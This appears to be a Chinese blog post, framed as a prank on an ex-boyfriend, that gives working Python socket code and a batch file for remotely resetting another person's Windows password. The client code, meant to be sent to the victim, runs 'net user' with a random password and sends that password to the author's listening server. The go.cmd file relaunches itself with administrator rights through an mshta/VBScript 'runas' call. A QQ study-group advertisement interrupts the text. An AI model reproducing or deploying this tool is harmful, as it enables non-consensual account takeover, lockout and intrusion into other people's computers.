1. 程式人生 > 其它 >我用Python修改了前男友的開機密碼,登入後居然發現了一個祕密

我用Python修改了前男友的開機密碼,登入後居然發現了一個祕密

工具準備

開發環境:win10+python3.7

開發工具:pycharm

專案思路解析

一想到遠端,就想到建立連線,一想到建立連結,就想到socket套接字(一想到套接字,就聯想到我沒有男盆友)

分別為三個知識點:

很多人學習蟒蛇,不知道從何學起。

很多人學習python,掌握了基本語法之後,不知道在哪裡尋找案例上手。

很多已經做了案例的人,卻不知道如何去學習更多高深的知識。

那麼針對這三類人,我給大家提供一個好的學習平臺,免費獲取視訊教程,電子書,以及課程的原始碼!

QQ群:101677771

歡迎加入,一起討論一起學習!

1.socket遠端連線

2.建立客戶端和服務端

3.管理員許可權執行程式碼

咱們今天是學習修改電腦密碼和遠端修改小夥伴的密碼,如果有哪裡解析不好,歡迎大佬指點一下。

該專案程式碼為3份(記住自己拿的是服務端的程式碼,客服端程式碼和go.cmd是發給別人的)

首先正常建立服務端:

  • 建立套接字
  • 繫結ip埠
  • 設定監聽
  • 等待連線
  • 接收資料列印資料
  • 關閉連線

python原始碼

import socket  # 匯入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket
server.bind(('192.168.246.1', 44444
)) # 繫結IP/埠 server.listen(5) # 監聽 print('***********等待連線*********') conn, addr = server.accept() # 連線 print(conn) print('客戶端的地址:', addr) client_msg = conn.recv(1024) print('客戶端修改的密碼是: %s' % client_msg) conn.close() server.close() 複製程式碼

windows的修改電腦密碼的命令:net User 使用者名稱 修改的密碼(可以自己動手試一下)

在提醒一遍,記住服務端是我們自己拿著的哈,別傻乎乎的發給對方了哦!

接下來就寫發給小夥伴的客戶端:

  • 連線服務端的IP和埠
    獲取當前使用的電腦賬戶名生成隨機的電腦密碼在終端執行修改Windows密碼的指令傳送修改之後的密碼關閉套接字
import socket  # 匯入用到的模組
import getpass
import subprocess
import random
 
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket例項
client.connect((ip, 埠))  # 連線server端IP地址/埠按你自己實際情況來
user = getpass.getuser()  # 獲取計算機使用者名稱
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的隨機數
    m = str(random.randrange(0, 10))
    psd = psd + m
 
subprocess.Popen(['net', 'User', user, psd])  # 在本地執行(類似於cmd命令)
client.send(psd.encode('utf-8'))  # 將密碼傳送給server端
back_msg = client.recv(1024)
client.close()  # 關閉socket
複製程式碼

到這一步基本就可以自己去嘗試了,嘿嘿,但是要注意,當前程式碼只能修改許可權是admin的賬戶。

非admin使用者需要提高自己的執行許可權,直接使用超級管理員許可權執行cmd檔案go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
 
start python client.py
複製程式碼

小結

最後我修改密碼成功登陸,竟然發現了他的密碼!

難怪每次我和他鬥圖,我每次都鬥不贏他,原來是揹著我下了幾千個表情包,我怎麼就沒有想到這個騷操作呢!!!